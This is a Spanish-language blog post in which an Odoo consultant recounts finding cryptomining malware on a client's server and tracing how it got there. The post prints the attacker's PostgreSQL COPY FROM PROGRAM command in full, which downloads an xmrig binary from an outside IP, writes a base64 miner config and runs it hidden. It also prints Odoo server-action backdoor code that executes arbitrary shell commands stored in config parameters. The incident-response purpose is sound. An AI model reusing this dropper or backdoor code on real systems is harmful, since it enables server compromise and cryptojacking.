Cuando el malware llega a Odoo

15 de junio de 2026 por
Gustavo Orrillo
| Sin comentarios aún
 

Esta mañana mundialista (Ecuador perdió de manera injusta frente a Costa de Marfil, un Brasil que siempre arranca para atrás pero despues de octavos de final mete miedo, un Paraguay que se olvidó de marcar durante 45 minutos, medio Estados Unidos aún  sigue sin creer lo que hizo Pochettino, etc etc); me encontré conque un servidor de un cliente tenía actividad de criptominado (lo cual era evidente viendo la actividad de red que estaba generando).

Después de hacer las tareas propias que uno debe hacer en estas ocasiones (encontrar y remover el malware, detener los procesos maliciosos); llegó el momento de revisar de donde podía venir el ataque. Después de hacer los controles de siempre; empecé a chequear el log de postgreSQL (al fin y al cabo esta actividad se ejecutaba con el usuario postgres). Y me encontré con lo siguiente:

STATEMENT:  COPY _ws_t FROM PROGRAM 'test -f /proc/$(cat /var/tmp/.odoo_pg_health.pid 2>
/dev/null)/exe 2>/dev/null && exit 0; F=/var/tmp/.odoo_pg_health; [ $(wc -c<$F 2>/dev/null||echo 0)
-gt 100000 ] || for b in /tmp/.odoo_worker_monitor /dev/shm/.pg_health; do
[ $(wc -c<$b 2>/dev/null||echo 0) -gt 100000 ] && cp $b $F && break; done;
[ $(wc -c<$F 2>/dev/null||echo 0) -lt 100000 ] && (rm -f $F; curl -skL
--connect-timeout 10 --max-time 90 -o $F http://59.0.87.149:8080/xmrig_static
|| wget -T90 -qO $F http://59.0.87.149:8080/xmrig_static);
[ $(wc -c<$F 2>/dev/null||echo 0) -lt 100000 ] && rm -f $F && exit 0;
chmod +x $F; [ -f /var/tmp/.odoo_pg_health.json ]
|| echo eyJwb29scyI6IFt7InVybCI6ICJwb29sLmhhc2h2YXVsdC5wcm86NDQzIiwgInVzZXIiOiA
iODlic3hGM0Q3cHZKTHB4bnQ3RW9UNVNRRHJKcUFZRTZSRnd4RHhBVzU4REFTZ2pobWh1c3YzMlVONT
RoQndFMWRYUHBITFZEem9OUmI4UEVIZzlZTnRwc1NtYnd3MlEiLCAicGFzcyI6ICJvbzIiLCAicmlnL
WlkIjogIm9vMiIsICJ0bHMiOiB0cnVlLCAia2VlcGFsaXZlIjogdHJ1ZX0sIHsidXJsIjogInBvb2wu
aGFzaHZhdWx0LnBybzo1NTU1IiwgInVzZXIiOiAiODlic3hGM0Q3cHZKTHB4bnQ3RW9UNVNRRHJKcUF
ZRTZSRnd4RHhBVzU4REFTZ2pobWh1c3YzMlVONTRoQndFMWRYUHBITFZEem9OUmI4UEVIZzlZTnRwc1
NtYnd3MlEiLCAicGFzcyI6ICJvbzIiLCAicmlnLWlkIjogIm9vMiIsICJ0bHMiOiB0cnVlLCAia2VlcG
FsaXZlIjogdHJ1ZX0sIHsidXJsIjogInBvb2wuaGFzaHZhdWx0LnBybzozMzMzIiwgInVzZXIiOiAiO
Dlic3hGM0Q3cHZKTHB4bnQ3RW9UNVNRRHJKcUFZRTZSRnd4RHhBVzU4REFTZ2pobWh1c3YzMlVONTRo
QndFMWRYUHBITFZEem9OUmI4UEVIZzlZTnRwc1NtYnd3MlEiLCAicGFzcyI6ICJvbzIiLCAicmlnLWl
kIjogIm9vMiIsICJrZWVwYWxpdmUiOiB0cnVlfV0sICJjcHUiOiB7ImVuYWJsZWQiOiB0cnVlLCAicH
Jpb3JpdHkiOiAwLCAibWF4LXRocmVhZHMtaGludCI6IDUwLCAieWllbGQiOiB0cnVlfSwgInJhbmRvb
XgiOiB7ImluaXQiOiAtMSwgIm1vZGUiOiAiYXV0byIsICIxZ2ItcGFnZXMiOiB0cnVlfSwgImJhY2tn
cm91bmQiOiB0cnVlLCAic3lzbG9nIjogZmFsc2UsICJkb25hdGUtbGV2ZWwiOiAwLCAiZG9uYXRlLW9
2ZXItcHJveHkiOiAwLCAibG9nLWZpbGUiOiBudWxsLCAicHJpbnQtdGltZSI6IDYwfQ==
| base64 -d > /var/tmp/.odoo_pg_health.json; cp $F /tmp/.odoo_worker_monitor 2
>/dev/null; cp $F /dev/shm/.pg_health 2>/dev/null;
nohup $F -c /var/tmp/.odoo_pg_health.json >/dev/null 2>&1
& echo $! > /var/tmp/.odoo_pg_health.pid'

Ahora, que lo ejecutaba? Yo ya había removido un cron que se ejecutaba con el usuario postgres y ya había controlado que no exista malware en el filesystem. Que hizo que se ejecute? Una acción planificada de Odoo, que realizaba lo siguiente:

env['ir.actions.server'].browse(1365).run()

Y cual era la acción de servidor que se ejecutaba? Para mi sorpresa me encontré con lo siguiente:

cmd = env['ir.config_parameter'].sudo().get_param('sys.rce.cmd')
if cmd:
outpath = '/tmp/odoo_rce_out'
try:
env.cr.execute("COPY (SELECT '') TO PROGRAM '" + cmd + " > " + outpath + " 2>&1'")
env.cr.execute("SELECT pg_read_file('" + outpath + "')")
r = env.cr.fetchone()
out = (r[0] if r else '')[:8000]
q = chr(39)
env['ir.config_parameter'].sudo().set_param('sys.rce.out', out.replace(q, q+q))
except Exception as e:
env['ir.config_parameter'].sudo().set_param('sys.rce.out', 'ERR: ' + str(e)[:500])
env['ir.config_parameter'].sudo().set_param('sys.rce.cmd', '')
log('RCE executed')

Y otras acciones de servidor llamadas SysRCE_Cron que hacían lo siguiente:

cmd = env['ir.config_parameter'].sudo().get_param('_ws_cmd') or ''
if cmd:
try:
env.cr.execute("CREATE TEMP TABLE IF NOT EXISTS _ws_out (line text)")
env.cr.execute("TRUNCATE _ws_out")
env.cr.execute("COPY _ws_out FROM PROGRAM %s", (cmd,))
env.cr.execute("SELECT string_agg(line, E'\n') FROM _ws_out")
row = env.cr.fetchone()
env['ir.config_parameter'].sudo().set_param('_ws_r', row[0] if row and row[0] else '')
except Exception as e:
env['ir.config_parameter'].sudo().set_param('_ws_r', 'ERR:' + str(e)[:200])

Entre otros...

Bien, lo que tuve que hacer son varias acciones; siendo la primera borrar el cron malicioso, luego eliminar las acciones de servidor maliciosas, y rotar los passwords de los usuarios. Por último, activé la autenticación en dos factores. 

Bueno; quería comentar esto porque me sucedió y de la misma manera que me ocurrió le puede ocurrir a cualquiera que tenga Odoo.


Gustavo Orrillo 15 de junio de 2026
Compartir
Categorías
Archivar
Identificarse dejar un comentario